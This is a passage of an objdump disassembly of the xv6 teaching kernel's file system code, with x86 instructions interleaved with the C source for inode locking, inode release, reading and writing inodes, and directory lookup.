lea 0x5c(%ebx),%eax 8010174c: 89 54 24 04 mov %edx,0x4(%esp) 80101750: c7 44 24 08 34 00 00 movl $0x34,0x8(%esp) 80101757: 00 80101758: 89 04 24 mov %eax,(%esp) 8010175b: e8 d0 2b 00 00 call 80104330 <memmove> brelse(bp); 80101760: 89 34 24 mov %esi,(%esp) 80101763: e8 78 ea ff ff call 801001e0 <brelse> if(ip->type == 0) 80101768: 66 83 7b 50 00 cmpw $0x0,0x50(%ebx) ip->valid = 1; 8010176d: c7 43 4c 01 00 00 00 movl $0x1,0x4c(%ebx) if(ip->type == 0) 80101774: 0f 85 76 ff ff ff jne 801016f0 <ilock+0x30> panic("ilock: no type"); 8010177a: c7 04 24 d0 6f 10 80 movl $0x80106fd0,(%esp) 80101781: e8 da eb ff ff call 80100360 <panic> panic("ilock"); 80101786: c7 04 24 ca 6f 10 80 movl $0x80106fca,(%esp) 8010178d: e8 ce eb ff ff call 80100360 <panic> 80101792: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80101799: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 801017a0 <iunlock>: { 801017a0: 55 push %ebp 801017a1: 89 e5 mov %esp,%ebp 801017a3: 56 push %esi 801017a4: 53 push %ebx 801017a5: 83 ec 10 sub $0x10,%esp 801017a8: 8b 5d 08 mov 0x8(%ebp),%ebx if(ip == 0 || !holdingsleep(&ip->lock) || ip->ref < 1) 801017ab: 85 db test %ebx,%ebx 801017ad: 74 24 je 801017d3 <iunlock+0x33> 801017af: 8d 73 0c lea 0xc(%ebx),%esi 801017b2: 89 34 24 mov %esi,(%esp) 801017b5: e8 76 28 00 00 call 80104030 <holdingsleep> 801017ba: 85 c0 test %eax,%eax 801017bc: 74 15 je 801017d3 <iunlock+0x33> 801017be: 8b 43 08 mov 0x8(%ebx),%eax 801017c1: 85 c0 test %eax,%eax 801017c3: 7e 0e jle 801017d3 <iunlock+0x33> releasesleep(&ip->lock); 801017c5: 89 75 08 mov %esi,0x8(%ebp) } 801017c8: 83 c4 10 add $0x10,%esp 801017cb: 5b pop %ebx 801017cc: 5e pop %esi 801017cd: 5d pop %ebp releasesleep(&ip->lock); 801017ce: e9 1d 28 00 00 jmp 80103ff0 <releasesleep> panic("iunlock"); 801017d3: c7 04 24 df 6f 10 80 movl $0x80106fdf,(%esp) 801017da: e8 81 eb ff ff call 80100360 <panic> 801017df: 90 nop 801017e0 <iput>: { 801017e0: 55 push %ebp 801017e1: 89 e5 mov %esp,%ebp 801017e3: 57 push %edi 801017e4: 56 push %esi 801017e5: 53 push %ebx 801017e6: 83 ec 1c sub $0x1c,%esp 801017e9: 8b 75 08 mov 0x8(%ebp),%esi acquiresleep(&ip->lock); 801017ec: 8d 7e 0c lea 0xc(%esi),%edi 801017ef: 89 3c 24 mov %edi,(%esp) 801017f2: e8 99 27 00 00 call 80103f90 <acquiresleep> if(ip->valid && ip->nlink == 0){ 801017f7: 8b 56 4c mov 0x4c(%esi),%edx 801017fa: 85 d2 test %edx,%edx 801017fc: 74 07 je 80101805 <iput+0x25> 801017fe: 66 83 7e 56 00 cmpw $0x0,0x56(%esi) 80101803: 74 2b je 80101830 <iput+0x50> releasesleep(&ip->lock); 80101805: 89 3c 24 mov %edi,(%esp) 80101808: e8 e3 27 00 00 call 80103ff0 <releasesleep> acquire(&icache.lock); 8010180d: c7 04 24 e0 09 11 80 movl $0x801109e0,(%esp) 80101814: e8 37 29 00 00 call 80104150 <acquire> ip->ref--; 80101819: 83 6e 08 01 subl $0x1,0x8(%esi) release(&icache.lock); 8010181d: c7 45 08 e0 09 11 80 movl $0x801109e0,0x8(%ebp) } 80101824: 83 c4 1c add $0x1c,%esp 80101827: 5b pop %ebx 80101828: 5e pop %esi 80101829: 5f pop %edi 8010182a: 5d pop %ebp release(&icache.lock); 8010182b: e9 10 2a 00 00 jmp 80104240 <release> acquire(&icache.lock); 80101830: c7 04 24 e0 09 11 80 movl $0x801109e0,(%esp) 80101837: e8 14 29 00 00 call 80104150 <acquire> int r = ip->ref; 8010183c: 8b 5e 08 mov 0x8(%esi),%ebx release(&icache.lock); 8010183f: c7 04 24 e0 09 11 80 movl $0x801109e0,(%esp) 80101846: e8 f5 29 00 00 call 80104240 <release> if(r == 1){ 8010184b: 83 fb 01 cmp $0x1,%ebx 8010184e: 75 b5 jne 80101805 <iput+0x25> 80101850: 8d 4e 30 lea 0x30(%esi),%ecx 80101853: 89 f3 mov %esi,%ebx 80101855: 89 7d e4 mov %edi,-0x1c(%ebp) 80101858: 89 cf mov %ecx,%edi 8010185a: eb 0b jmp 80101867 <iput+0x87> 8010185c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80101860: 83 c3 04 add $0x4,%ebx { int i, j; struct buf *bp; uint *a; for(i = 0; i < NDIRECT; i++){ 80101863: 39 fb cmp %edi,%ebx 80101865: 74 19 je 80101880 <iput+0xa0> if(ip->addrs[i]){ 80101867: 8b 53 5c mov 0x5c(%ebx),%edx 8010186a: 85 d2 test %edx,%edx 8010186c: 74 f2 je 80101860 <iput+0x80> bfree(ip->dev, ip->addrs[i]); 8010186e: 8b 06 mov (%esi),%eax 80101870: e8 7b fb ff ff call 801013f0 <bfree> ip->addrs[i] = 0; 80101875: c7 43 5c 00 00 00 00 movl $0x0,0x5c(%ebx) 8010187c: eb e2 jmp 80101860 <iput+0x80> 8010187e: 66 90 xchg %ax,%ax } } if(ip->addrs[NDIRECT]){ 80101880: 8b 86 8c 00 00 00 mov 0x8c(%esi),%eax 80101886: 8b 7d e4 mov -0x1c(%ebp),%edi 80101889: 85 c0 test %eax,%eax 8010188b: 75 2b jne 801018b8 <iput+0xd8> brelse(bp); bfree(ip->dev, ip->addrs[NDIRECT]); ip->addrs[NDIRECT] = 0; } ip->size = 0; 8010188d: c7 46 58 00 00 00 00 movl $0x0,0x58(%esi) iupdate(ip); 80101894: 89 34 24 mov %esi,(%esp) 80101897: e8 64 fd ff ff call 80101600 <iupdate> ip->type = 0; 8010189c: 31 c0 xor %eax,%eax 8010189e: 66 89 46 50 mov %ax,0x50(%esi) iupdate(ip); 801018a2: 89 34 24 mov %esi,(%esp) 801018a5: e8 56 fd ff ff call 80101600 <iupdate> ip->valid = 0; 801018aa: c7 46 4c 00 00 00 00 movl $0x0,0x4c(%esi) 801018b1: e9 4f ff ff ff jmp 80101805 <iput+0x25> 801018b6: 66 90 xchg %ax,%ax bp = bread(ip->dev, ip->addrs[NDIRECT]); 801018b8: 89 44 24 04 mov %eax,0x4(%esp) 801018bc: 8b 06 mov (%esi),%eax for(j = 0; j < NINDIRECT; j++){ 801018be: 31 db xor %ebx,%ebx bp = bread(ip->dev, ip->addrs[NDIRECT]); 801018c0: 89 04 24 mov %eax,(%esp) 801018c3: e8 08 e8 ff ff call 801000d0 <bread> for(j = 0; j < NINDIRECT; j++){ 801018c8: 89 7d e0 mov %edi,-0x20(%ebp) a = (uint*)bp->data; 801018cb: 8d 48 5c lea 0x5c(%eax),%ecx bp = bread(ip->dev, ip->addrs[NDIRECT]); 801018ce: 89 45 e4 mov %eax,-0x1c(%ebp) for(j = 0; j < NINDIRECT; j++){ 801018d1: 89 cf mov %ecx,%edi 801018d3: 31 c0 xor %eax,%eax 801018d5: eb 0e jmp 801018e5 <iput+0x105> 801018d7: 90 nop 801018d8: 83 c3 01 add $0x1,%ebx 801018db: 81 fb 80 00 00 00 cmp $0x80,%ebx 801018e1: 89 d8 mov %ebx,%eax 801018e3: 74 10 je 801018f5 <iput+0x115> if(a[j]) 801018e5: 8b 14 87 mov (%edi,%eax,4),%edx 801018e8: 85 d2 test %edx,%edx 801018ea: 74 ec je 801018d8 <iput+0xf8> bfree(ip->dev, a[j]); 801018ec: 8b 06 mov (%esi),%eax 801018ee: e8 fd fa ff ff call 801013f0 <bfree> 801018f3: eb e3 jmp 801018d8 <iput+0xf8> brelse(bp); 801018f5: 8b 45 e4 mov -0x1c(%ebp),%eax 801018f8: 8b 7d e0 mov -0x20(%ebp),%edi 801018fb: 89 04 24 mov %eax,(%esp) 801018fe: e8 dd e8 ff ff call 801001e0 <brelse> bfree(ip->dev, ip->addrs[NDIRECT]); 80101903: 8b 96 8c 00 00 00 mov 0x8c(%esi),%edx 80101909: 8b 06 mov (%esi),%eax 8010190b: e8 e0 fa ff ff call 801013f0 <bfree> ip->addrs[NDIRECT] = 0; 80101910: c7 86 8c 00 00 00 00 movl $0x0,0x8c(%esi) 80101917: 00 00 00 8010191a: e9 6e ff ff ff jmp 8010188d <iput+0xad> 8010191f: 90 nop 80101920 <iunlockput>: { 80101920: 55 push %ebp 80101921: 89 e5 mov %esp,%ebp 80101923: 53 push %ebx 80101924: 83 ec 14 sub $0x14,%esp 80101927: 8b 5d 08 mov 0x8(%ebp),%ebx iunlock(ip); 8010192a: 89 1c 24 mov %ebx,(%esp) 8010192d: e8 6e fe ff ff call 801017a0 <iunlock> iput(ip); 80101932: 89 5d 08 mov %ebx,0x8(%ebp) } 80101935: 83 c4 14 add $0x14,%esp 80101938: 5b pop %ebx 80101939: 5d pop %ebp iput(ip); 8010193a: e9 a1 fe ff ff jmp 801017e0 <iput> 8010193f: 90 nop 80101940 <stati>: // Copy stat information from inode. // Caller must hold ip->lock. void stati(struct inode *ip, struct stat *st) { 80101940: 55 push %ebp 80101941: 89 e5 mov %esp,%ebp 80101943: 8b 55 08 mov 0x8(%ebp),%edx 80101946: 8b 45 0c mov 0xc(%ebp),%eax st->dev = ip->dev; 80101949: 8b 0a mov (%edx),%ecx 8010194b: 89 48 04 mov %ecx,0x4(%eax) st->ino = ip->inum; 8010194e: 8b 4a 04 mov 0x4(%edx),%ecx 80101951: 89 48 08 mov %ecx,0x8(%eax) st->type = ip->type; 80101954: 0f b7 4a 50 movzwl 0x50(%edx),%ecx 80101958: 66 89 08 mov %cx,(%eax) st->nlink = ip->nlink; 8010195b: 0f b7 4a 56 movzwl 0x56(%edx),%ecx 8010195f: 66 89 48 0c mov %cx,0xc(%eax) st->size = ip->size; 80101963: 8b 52 58 mov 0x58(%edx),%edx 80101966: 89 50 10 mov %edx,0x10(%eax) } 80101969: 5d pop %ebp 8010196a: c3 ret 8010196b: 90 nop 8010196c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80101970 <readi>: //PAGEBREAK! // Read data from inode. // Caller must hold ip->lock. int readi(struct inode *ip, char *dst, uint off, uint n) { 80101970: 55 push %ebp 80101971: 89 e5 mov %esp,%ebp 80101973: 57 push %edi 80101974: 56 push %esi 80101975: 53 push %ebx 80101976: 83 ec 2c sub $0x2c,%esp 80101979: 8b 45 0c mov 0xc(%ebp),%eax 8010197c: 8b 7d 08 mov 0x8(%ebp),%edi 8010197f: 8b 75 10 mov 0x10(%ebp),%esi 80101982: 89 45 e0 mov %eax,-0x20(%ebp) 80101985: 8b 45 14 mov 0x14(%ebp),%eax uint tot, m; struct buf *bp; if(ip->type == T_DEV){ 80101988: 66 83 7f 50 03 cmpw $0x3,0x50(%edi) { 8010198d: 89 45 e4 mov %eax,-0x1c(%ebp) if(ip->type == T_DEV){ 80101990: 0f 84 aa 00 00 00 je 80101a40 <readi+0xd0> if(ip->major < 0 || ip->major >= NDEV || !devsw[ip->major].read) return -1; return devsw[ip->major].read(ip, dst, n); } if(off > ip->size || off + n < off) 80101996: 8b 47 58 mov 0x58(%edi),%eax 80101999: 39 f0 cmp %esi,%eax 8010199b: 0f 82 c7 00 00 00 jb 80101a68 <readi+0xf8> 801019a1: 8b 5d e4 mov -0x1c(%ebp),%ebx 801019a4: 89 da mov %ebx,%edx 801019a6: 01 f2 add %esi,%edx 801019a8: 0f 82 ba 00 00 00 jb 80101a68 <readi+0xf8> return -1; if(off + n > ip->size) n = ip->size - off; 801019ae: 89 c1 mov %eax,%ecx 801019b0: 29 f1 sub %esi,%ecx 801019b2: 39 d0 cmp %edx,%eax 801019b4: 0f 43 cb cmovae %ebx,%ecx for(tot=0; tot<n; tot+=m, off+=m, dst+=m){ 801019b7: 31 c0 xor %eax,%eax 801019b9: 85 c9 test %ecx,%ecx n = ip->size - off; 801019bb: 89 4d e4 mov %ecx,-0x1c(%ebp) for(tot=0; tot<n; tot+=m, off+=m, dst+=m){ 801019be: 74 70 je 80101a30 <readi+0xc0> 801019c0: 89 7d d8 mov %edi,-0x28(%ebp) 801019c3: 89 c7 mov %eax,%edi 801019c5: 8d 76 00 lea 0x0(%esi),%esi bp = bread(ip->dev, bmap(ip, off/BSIZE)); 801019c8: 8b 5d d8 mov -0x28(%ebp),%ebx 801019cb: 89 f2 mov %esi,%edx 801019cd: c1 ea 09 shr $0x9,%edx 801019d0: 89 d8 mov %ebx,%eax 801019d2: e8 09 f9 ff ff call 801012e0 <bmap> 801019d7: 89 44 24 04 mov %eax,0x4(%esp) 801019db: 8b 03 mov (%ebx),%eax m = min(n - tot, BSIZE - off%BSIZE); 801019dd: bb 00 02 00 00 mov $0x200,%ebx bp = bread(ip->dev, bmap(ip, off/BSIZE)); 801019e2: 89 04 24 mov %eax,(%esp) 801019e5: e8 e6 e6 ff ff call 801000d0 <bread> m = min(n - tot, BSIZE - off%BSIZE); 801019ea: 8b 4d e4 mov -0x1c(%ebp),%ecx 801019ed: 29 f9 sub %edi,%ecx bp = bread(ip->dev, bmap(ip, off/BSIZE)); 801019ef: 89 c2 mov %eax,%edx m = min(n - tot, BSIZE - off%BSIZE); 801019f1: 89 f0 mov %esi,%eax 801019f3: 25 ff 01 00 00 and $0x1ff,%eax 801019f8: 29 c3 sub %eax,%ebx memmove(dst, bp->data + off%BSIZE, m); 801019fa: 8d 44 02 5c lea 0x5c(%edx,%eax,1),%eax m = min(n - tot, BSIZE - off%BSIZE); 801019fe: 39 cb cmp %ecx,%ebx memmove(dst, bp->data + off%BSIZE, m); 80101a00: 89 44 24 04 mov %eax,0x4(%esp) 80101a04: 8b 45 e0 mov -0x20(%ebp),%eax m = min(n - tot, BSIZE - off%BSIZE); 80101a07: 0f 47 d9 cmova %ecx,%ebx memmove(dst, bp->data + off%BSIZE, m); 80101a0a: 89 5c 24 08 mov %ebx,0x8(%esp) for(tot=0; tot<n; tot+=m, off+=m, dst+=m){ 80101a0e: 01 df add %ebx,%edi 80101a10: 01 de add %ebx,%esi memmove(dst, bp->data + off%BSIZE, m); 80101a12: 89 55 dc mov %edx,-0x24(%ebp) 80101a15: 89 04 24 mov %eax,(%esp) 80101a18: e8 13 29 00 00 call 80104330 <memmove> brelse(bp); 80101a1d: 8b 55 dc mov -0x24(%ebp),%edx 80101a20: 89 14 24 mov %edx,(%esp) 80101a23: e8 b8 e7 ff ff call 801001e0 <brelse> for(tot=0; tot<n; tot+=m, off+=m, dst+=m){ 80101a28: 01 5d e0 add %ebx,-0x20(%ebp) 80101a2b: 39 7d e4 cmp %edi,-0x1c(%ebp) 80101a2e: 77 98 ja 801019c8 <readi+0x58> } return n; 80101a30: 8b 45 e4 mov -0x1c(%ebp),%eax } 80101a33: 83 c4 2c add $0x2c,%esp 80101a36: 5b pop %ebx 80101a37: 5e pop %esi 80101a38: 5f pop %edi 80101a39: 5d pop %ebp 80101a3a: c3 ret 80101a3b: 90 nop 80101a3c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi if(ip->major < 0 || ip->major >= NDEV || !devsw[ip->major].read) 80101a40: 0f bf 47 52 movswl 0x52(%edi),%eax 80101a44: 66 83 f8 09 cmp $0x9,%ax 80101a48: 77 1e ja 80101a68 <readi+0xf8> 80101a4a: 8b 04 c5 60 09 11 80 mov -0x7feef6a0(,%eax,8),%eax 80101a51: 85 c0 test %eax,%eax 80101a53: 74 13 je 80101a68 <readi+0xf8> return devsw[ip->major].read(ip, dst, n); 80101a55: 8b 75 e4 mov -0x1c(%ebp),%esi 80101a58: 89 75 10 mov %esi,0x10(%ebp) } 80101a5b: 83 c4 2c add $0x2c,%esp 80101a5e: 5b pop %ebx 80101a5f: 5e pop %esi 80101a60: 5f pop %edi 80101a61: 5d pop %ebp return devsw[ip->major].read(ip, dst, n); 80101a62: ff e0 jmp *%eax 80101a64: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi return -1; 80101a68: b8 ff ff ff ff mov $0xffffffff,%eax 80101a6d: eb c4 jmp 80101a33 <readi+0xc3> 80101a6f: 90 nop 80101a70 <writei>: // PAGEBREAK! // Write data to inode. // Caller must hold ip->lock. int writei(struct inode *ip, char *src, uint off, uint n) { 80101a70: 55 push %ebp 80101a71: 89 e5 mov %esp,%ebp 80101a73: 57 push %edi 80101a74: 56 push %esi 80101a75: 53 push %ebx 80101a76: 83 ec 2c sub $0x2c,%esp 80101a79: 8b 45 08 mov 0x8(%ebp),%eax 80101a7c: 8b 75 0c mov 0xc(%ebp),%esi 80101a7f: 8b 4d 14 mov 0x14(%ebp),%ecx uint tot, m; struct buf *bp; if(ip->type == T_DEV){ 80101a82: 66 83 78 50 03 cmpw $0x3,0x50(%eax) { 80101a87: 89 75 dc mov %esi,-0x24(%ebp) 80101a8a: 8b 75 10 mov 0x10(%ebp),%esi 80101a8d: 89 45 d8 mov %eax,-0x28(%ebp) 80101a90: 89 4d e0 mov %ecx,-0x20(%ebp) if(ip->type == T_DEV){ 80101a93: 0f 84 b7 00 00 00 je 80101b50 <writei+0xe0> if(ip->major < 0 || ip->major >= NDEV || !devsw[ip->major].write) return -1; return devsw[ip->major].write(ip, src, n); } if(off > ip->size || off + n < off) 80101a99: 8b 45 d8 mov -0x28(%ebp),%eax 80101a9c: 39 70 58 cmp %esi,0x58(%eax) 80101a9f: 0f 82 e3 00 00 00 jb 80101b88 <writei+0x118> 80101aa5: 8b 4d e0 mov -0x20(%ebp),%ecx 80101aa8: 89 c8 mov %ecx,%eax 80101aaa: 01 f0 add %esi,%eax 80101aac: 0f 82 d6 00 00 00 jb 80101b88 <writei+0x118> return -1; if(off + n > MAXFILE*BSIZE) 80101ab2: 3d 00 18 01 00 cmp $0x11800,%eax 80101ab7: 0f 87 cb 00 00 00 ja 80101b88 <writei+0x118> return -1; for(tot=0; tot<n; tot+=m, off+=m, src+=m){ 80101abd: 85 c9 test %ecx,%ecx 80101abf: c7 45 e4 00 00 00 00 movl $0x0,-0x1c(%ebp) 80101ac6: 74 77 je 80101b3f <writei+0xcf> bp = bread(ip->dev, bmap(ip, off/BSIZE)); 80101ac8: 8b 7d d8 mov -0x28(%ebp),%edi 80101acb: 89 f2 mov %esi,%edx m = min(n - tot, BSIZE - off%BSIZE); 80101acd: bb 00 02 00 00 mov $0x200,%ebx bp = bread(ip->dev, bmap(ip, off/BSIZE)); 80101ad2: c1 ea 09 shr $0x9,%edx 80101ad5: 89 f8 mov %edi,%eax 80101ad7: e8 04 f8 ff ff call 801012e0 <bmap> 80101adc: 89 44 24 04 mov %eax,0x4(%esp) 80101ae0: 8b 07 mov (%edi),%eax 80101ae2: 89 04 24 mov %eax,(%esp) 80101ae5: e8 e6 e5 ff ff call 801000d0 <bread> m = min(n - tot, BSIZE - off%BSIZE); 80101aea: 8b 4d e0 mov -0x20(%ebp),%ecx 80101aed: 2b 4d e4 sub -0x1c(%ebp),%ecx memmove(bp->data + off%BSIZE, src, m); 80101af0: 8b 55 dc mov -0x24(%ebp),%edx bp = bread(ip->dev, bmap(ip, off/BSIZE)); 80101af3: 89 c7 mov %eax,%edi m = min(n - tot, BSIZE - off%BSIZE); 80101af5: 89 f0 mov %esi,%eax 80101af7: 25 ff 01 00 00 and $0x1ff,%eax 80101afc: 29 c3 sub %eax,%ebx 80101afe: 39 cb cmp %ecx,%ebx 80101b00: 0f 47 d9 cmova %ecx,%ebx memmove(bp->data + off%BSIZE, src, m); 80101b03: 8d 44 07 5c lea 0x5c(%edi,%eax,1),%eax for(tot=0; tot<n; tot+=m, off+=m, src+=m){ 80101b07: 01 de add %ebx,%esi memmove(bp->data + off%BSIZE, src, m); 80101b09: 89 54 24 04 mov %edx,0x4(%esp) 80101b0d: 89 5c 24 08 mov %ebx,0x8(%esp) 80101b11: 89 04 24 mov %eax,(%esp) 80101b14: e8 17 28 00 00 call 80104330 <memmove> log_write(bp); 80101b19: 89 3c 24 mov %edi,(%esp) 80101b1c: e8 9f 11 00 00 call 80102cc0 <log_write> brelse(bp); 80101b21: 89 3c 24 mov %edi,(%esp) 80101b24: e8 b7 e6 ff ff call 801001e0 <brelse> for(tot=0; tot<n; tot+=m, off+=m, src+=m){ 80101b29: 01 5d e4 add %ebx,-0x1c(%ebp) 80101b2c: 8b 45 e4 mov -0x1c(%ebp),%eax 80101b2f: 01 5d dc add %ebx,-0x24(%ebp) 80101b32: 39 45 e0 cmp %eax,-0x20(%ebp) 80101b35: 77 91 ja 80101ac8 <writei+0x58> } if(n > 0 && off > ip->size){ 80101b37: 8b 45 d8 mov -0x28(%ebp),%eax 80101b3a: 39 70 58 cmp %esi,0x58(%eax) 80101b3d: 72 39 jb 80101b78 <writei+0x108> ip->size = off; iupdate(ip); } return n; 80101b3f: 8b 45 e0 mov -0x20(%ebp),%eax } 80101b42: 83 c4 2c add $0x2c,%esp 80101b45: 5b pop %ebx 80101b46: 5e pop %esi 80101b47: 5f pop %edi 80101b48: 5d pop %ebp 80101b49: c3 ret 80101b4a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi if(ip->major < 0 || ip->major >= NDEV || !devsw[ip->major].write) 80101b50: 0f bf 40 52 movswl 0x52(%eax),%eax 80101b54: 66 83 f8 09 cmp $0x9,%ax 80101b58: 77 2e ja 80101b88 <writei+0x118> 80101b5a: 8b 04 c5 64 09 11 80 mov -0x7feef69c(,%eax,8),%eax 80101b61: 85 c0 test %eax,%eax 80101b63: 74 23 je 80101b88 <writei+0x118> return devsw[ip->major].write(ip, src, n); 80101b65: 89 4d 10 mov %ecx,0x10(%ebp) } 80101b68: 83 c4 2c add $0x2c,%esp 80101b6b: 5b pop %ebx 80101b6c: 5e pop %esi 80101b6d: 5f pop %edi 80101b6e: 5d pop %ebp return devsw[ip->major].write(ip, src, n); 80101b6f: ff e0 jmp *%eax 80101b71: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi ip->size = off; 80101b78: 8b 45 d8 mov -0x28(%ebp),%eax 80101b7b: 89 70 58 mov %esi,0x58(%eax) iupdate(ip); 80101b7e: 89 04 24 mov %eax,(%esp) 80101b81: e8 7a fa ff ff call 80101600 <iupdate> 80101b86: eb b7 jmp 80101b3f <writei+0xcf> } 80101b88: 83 c4 2c add $0x2c,%esp return -1; 80101b8b: b8 ff ff ff ff mov $0xffffffff,%eax } 80101b90: 5b pop %ebx 80101b91: 5e pop %esi 80101b92: 5f pop %edi 80101b93: 5d pop %ebp 80101b94: c3 ret 80101b95: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80101b99: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80101ba0 <namecmp>: //PAGEBREAK! // Directories int namecmp(const char *s, const char *t) { 80101ba0: 55 push %ebp 80101ba1: 89 e5 mov %esp,%ebp 80101ba3: 83 ec 18 sub $0x18,%esp return strncmp(s, t, DIRSIZ); 80101ba6: 8b 45 0c mov 0xc(%ebp),%eax 80101ba9: c7 44 24 08 0e 00 00 movl $0xe,0x8(%esp) 80101bb0: 00 80101bb1: 89 44 24 04 mov %eax,0x4(%esp) 80101bb5: 8b 45 08 mov 0x8(%ebp),%eax 80101bb8: 89 04 24 mov %eax,(%esp) 80101bbb: e8 f0 27 00 00 call 801043b0 <strncmp> } 80101bc0: c9 leave 80101bc1: c3 ret 80101bc2: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80101bc9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80101bd0 <dirlookup>: // Look for a directory entry in a directory. // If found, set *poff to byte offset of entry. struct inode* dirlookup(struct inode *dp, char *name, uint *poff) { 80101bd0: 55 push %ebp 80101bd1: 89 e5 mov %esp,%ebp 80101bd3: 57 push %edi 80101bd4: 56 push %esi 80101bd5: 53 push %ebx 80101bd6: 83 ec 2c sub $0x2c,%esp 80101bd9: 8b 5d 08 mov 0x8(%ebp),%ebx uint off, inum; struct dirent de; if(dp->type != T_DIR) 80101bdc: 66 83 7b 50 01 cmpw $0x1,0x50(%ebx) 80101be1: 0f 85 97 00 00 00 jne 80101c7e <dirlookup+0xae> panic("dirlookup not DIR"); for(off = 0; off < dp->size; off += sizeof(de)){ 80101be7: 8b 53 58 mov 0x58(%ebx),%edx 80101bea: 31 ff xor %edi,%edi 80101bec: 8d 75 d8 lea -0x28(%ebp),%esi 80101bef: 85 d2 test %edx,%edx 80101bf1: 75 0d jne 80101c00 <dirlookup+0x30> 80101bf3: eb 73 jmp 80101c68 <dirlookup+0x98> 80101bf5: 8d 76 00 lea 0x0(%esi),%esi 80101bf8: 83 c7 10 add $0x10,%edi 80101bfb: 39 7b 58 cmp %edi,0x58(%ebx) 80101bfe: 76 68 jbe 80101c68 <dirlookup+0x98> if(readi(dp, (char*)&de, off, sizeof(de)) != sizeof(de)) 80101c00: c7 44 24 0c 10 00 00 movl $0x10,0xc(%esp) 80101c07: 00 80101c08: 89 7c 24 08 mov %edi,0x8(%esp) 80101c0c: 89 74 24 04 mov %esi,0x4(%esp) 80101c10: 89 1c 24 mov %ebx,(%esp) 80101c13: e8 58 fd ff ff call 80101970 <readi> 80101c18: 83 f8 10 cmp $0x10,%eax 80101c1b: 75 55 jne 80101c72 <dirlookup+0xa2> panic("dirlookup read"); if(de.inum == 0) 80101c1d: 66 83 7d d8 00 cmpw $0x0,-0x28(%ebp) 80101c22: 74 d4 je 80101bf8 <dirlookup+0x28> return strncmp(s, t, DIRSIZ); 80101c24: 8d 45 da lea -0x26(%ebp),%eax 80101c27: 89 44 24 04 mov %eax,0x4(%esp) 80101c2b: 8b 45 0c mov 0xc(%ebp),%eax 80101c2e: c7 44 24 08 0e 00 00 movl $0xe,0x8(%esp) 80101c35: 00 80101c36: 89 04 24 mov %eax,(%esp) 80101c39: e8 72 27 00 00 call 801043b0 <strncmp> continue; if(namecmp(name, de.name) == 0){ 80101c3e: 85 c0 test %eax,%eax 80101c40: 75 b6 jne 80101bf8 <dirlookup+0x28> // entry matches path element if(poff) 80101c42: 8b 45 10 mov 0x10(%ebp),%eax 80101c45: 85 c0 test %eax,%eax 80101c47: 74 05 je 80101c4e <dirlookup+0x7e> *poff = off; 80101c49: 8b 45 10 mov 0x10(%ebp),%eax 80101c4c: 89 38 mov %edi,(%eax) inum = de.inum; 80101c4e: 0f b7 55 d8 movzwl -0x28(%ebp),%edx return iget(dp->dev, inum); 80101c52: 8b 03 mov (%ebx),%eax 80101c54: e8 c7 f5 ff ff call 80101220 <iget> } } return 0; } 80101c59: 83 c4 2c add $0x2c,%esp 80101c5c: 5b pop %ebx 80101c5d: 5e pop %esi 80101c5e: 5f pop %edi 80101c5f: 5d pop %ebp 80101c60: c3 ret 80101c61: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80101c68: 83 c4 2c add $0x2c,%esp return 0; 80101c6b: 31 c0 xor %eax,%eax } 80101c6d: 5b pop %ebx 80101c6e: 5e pop %esi 80101c6f: 5f pop %edi 80101c70: 5d pop %ebp 80101c71: c3 ret panic("dirlookup read"); 80101c72: c7 04 24 f9 6f 10 80 movl $0x80106ff9,(%esp) 80101c79: e8 e2 e6 ff ff call 80100360 <panic> panic("dirlookup not DIR"); 80101c7e: c7 04 24 e7 6f 10 80 movl $0x80106fe7,(%esp) 80101c85: e8 d6 e6 ff ff call 80100360 <panic> 80101c8a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80101c90 <namex>: // If parent != 0, return the inode for the parent and copy the final // path element into name, which must have room for DIRSIZ bytes. // Must be called inside a transaction since it calls iput(). static struct inode* namex(char *path, int nameiparent, char *name) { 80101c90: 55 push %ebp 80101c91: 89 e5 mov %esp,%ebp 80101c93: 57 push %edi 80101c94: 89 cf mov %ecx,%edi 80101c96: 56 push %esi 80101c97: 53 push %ebx 80101c98: 89 c3 mov %eax,%ebx 80101c9a: 83 ec 2c sub $0x2c,%esp struct inode *ip, *next; if(*path == '/') 80101c9d: 80 38 2f cmpb $0x2f,(%eax) { 80101ca0: 89 55 e0 mov %edx,-0x20(%ebp) if(*path == '/') 80101ca3: 0f 84 51 01 00 00 je 80101dfa <namex+0x16a> ip = iget(ROOTDEV, ROOTINO); else ip = idup(myproc()->cwd); 80101ca9: e8 02 1a 00 00 call 801036b0 <myproc> 80101cae: 8b 70 68 mov 0x68(%eax),%esi acquire(&icache.lock); 80101cb1: c7 04 24 e0 09 11 80 movl $0x801109e0,(%esp) 80101cb8: e8 93 24 00 00 call 80104150 <acquire> ip->ref++; 80101cbd: 83 46 08 01 addl $0x1,0x8(%esi) release(&icache.lock); 80101cc1: c7 04 24 e0 09 11 80 movl $0x801109e0,(%esp) 80101cc8: e8 73 25 00 00 call 80104240 <release> 80101ccd: eb 04 jmp 80101cd3 <namex+0x43> 80101ccf: 90 nop path++; 80101cd0: 83 c3 01 add $0x1,%ebx while(*path == '/') 80101cd3: 0f b6 03 movzbl (%ebx),%eax 80101cd6: 3c 2f cmp $0x2f,%al 80101cd8: 74 f6 je 80101cd0 <namex+0x40> if(*path == 0) 80101cda: 84 c0 test %al,%al 80101cdc: 0f 84 ed 00 00 00 je 80101dcf <namex+0x13f> while(*path != '/' && *path != 0) 80101ce2: 0f b6 03 movzbl (%ebx),%eax 80101ce5: 89 da mov %ebx,%edx 80101ce7: 84 c0 test %al,%al 80101ce9: 0f 84 b1 00 00 00 je 80101da0 <namex+0x110> 80101cef: 3c 2f cmp $0x2f,%al 80101cf1: 75 0f jne 80101d02 <namex+0x72> 80101cf3: e9 a8 00 00 00 jmp 